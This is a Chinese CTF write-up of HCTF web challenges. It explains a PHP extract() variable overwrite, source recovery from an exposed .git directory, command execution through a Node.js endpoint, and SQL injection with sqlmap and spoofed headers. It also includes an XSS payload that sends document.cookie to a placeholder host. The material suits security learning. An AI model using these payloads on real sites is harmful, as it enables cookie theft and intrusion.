HCTF writeup(web)

wyzsk發表於2020-08-19
作者: 藍冰 · 2014/11/29 16:47

丘比龍的最愛 10pt

傳說,丘比龍是丘位元的弟弟,丘比龍是一隻小愛神,雖然有兩隻翅膀,但因為吃多了,導致身體太胖,所以飛不起來~那麼問題來了?!丘比龍吃什麼食物吃多了變胖了

很明顯了,百度一下答案是甜甜圈

nvshen 100pt

貓流大大發現一個女神,你能告訴我女神的名字麼(名字即是flag) 下載zip後是一個疑似base64的密文,用base64解密後發現png圖片頭 字尾改為png

enter image description here

圖片放到百度識圖 得到名字

flag:愛新覺羅啟星

GIFT 100pt

開啟網站 在註釋處發現一個檔案 index.php.bak 內容為

<?php
$flag=‘xxx';
extract($_GET);
if(isset($gift))
{
$content=trim(file_get_contents($flag));
if($gift==$content)
{
echo’hctf{...}';
}
else
{
echo’Oh..';
}
}
?>

構造如下URL:

http://121.40.86.166:39099/index.php?gift=&flag=

覆蓋掉flag變數

flag: hctf{Awe3ome_Ex7ract!!!}

Entry 200pt

57R9S980RNOS49973S757PQO9S80Q36P 聽說丘比龍一口氣能吃”13”個甜甜圈呢!

剛開始各種進位制轉換,後來注意道13這個數字,剛好密文處是13個字母,於是把字母轉成 ASCII然後加13後轉字元,然後插到原來的位置,最後cmd5解密

flag: Qoobee

FIND 200pt

把圖片下載下來用Stegsolve神器在隨機圖層發現二維碼,把二維碼修復一下 白色的改成黑色的 黑色的改成白色的 然後掃一下就出來flag了

enter image description here

flag{hctf_3xF$235#\x5e3}

IRC 300pt

進入官方IRC頻道,挨個找人whois

命令 /whois xxx(暱稱) 其中有幾個人反彈了flag 提交幾個後終於正確了

enter image description here

opensource 300pt

開源?閉源?

在robots.txt檔案下發現 .git隱藏目錄 根據git說明 得到分支檔案

refs/heads/master

下載後得到 hash值 e52b59bc730f13d999b1f2452ca3f689850ca0a3

然後進入e5/目錄訪問2b59bc730f13d999b1f2452ca3f689850ca0a3 檔案 hash前二位目錄 後32位檔名 詳情可以去百度看一下 git的目錄結構 依此類推 配合 (git cat-file -p 接40位hash )命令 讀取專案檔案 是當前網站的原始碼 node.js

部分程式碼:

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'jade');

app.use(favicon());
app.use(logger('dev'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded());
app.use(cookieParser());

app.use('/', routes);
app.use('/ac6555bfe23f5fe7e98fdcc0cd5f2451', pangci);
—————————————————————————————-

var express = require('express');
var router = express.Router();
var fs = require('fs');
var path = require('path');
var cp = require('child_process');

router.get('/', function(req, res) {
  var data = path.normalize('/tmp/flag');

  if (req.param('pangci')) {
    cp.exec(secure(req.param('pangci')) + ' ' + data, function (err, stdout, stderr) {
      if (err) { res.end('Ohhhhh MY SWEET!!!YOOOOOO HURT ME!!') }
      var limit = stdout.split('\n').slice(0, 5).join('\n');
      res.end(limit);
    });
  } else {
    res.end('HEY MY SWEET!!! I LOVE YOOOOOOOO!!!');
  }

});

function secure (str) {
  return str.replace(/[^\d\-a-zA-Z ]/g, '');
}

訪問

/ac6555bfe23f5fe7e98fdcc0cd5f2451?pangci=wc 

返回

142   735 11507 /tmp/flag

表示有142行

利用tail -n num 命令 一次讀取5行

最後進行拼接得到 flag

enter image description here

FUCKME 350pt

開啟網頁各種語種,想到用詞頻分析進行解密,利用軟體統計頻率前26個字 用記事本或者指令碼替換成26個英文字母 然後用下面這個網站進行解密

http://www.quipqiup.com/index.php

flag:hctf{enjoyyourselfinhctf}

jianshu 400pt

這題有點坑,首先比較輕鬆的xss到了cookie,

<svg><scscriptript>window.locatioonn=“http://xxx.com/cookie.php?cookie=“%26%2343%3Bescape(document.cookie);</scscriptript></svg>

然後cookie裡確實有flag flag=NOT IN COOKIE嘗試提交這個不對 然後在cookie.php進行修改 獲取客戶端的http頭資訊

Referer: http://121.41.37.11:25045/get.php?user=V1ew
X-Forwarded-For: 218.75.123.186

偽造http頭訪問改url 還是沒有發現cookie 然後據說不是xss 是sql注入 然後各種引數,各種注

然後最後的注入的點為;

http://121.41.37.11:25045/img.php?file=1*.jpg

之前嘗試了整個file引數發現注不了,其實是要注.jpg前面的值

sqlmap —level 6 —dbs

跑出資料庫

enter image description here

訪問

http://121.41.37.11:25045/get.php?user=A1rB4s1C

提示IP不對 用之前X到的IP進行偽造 最後返回flag

flag: hctf{Why_are_U_S0_DIA0?????}

enter image description here

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章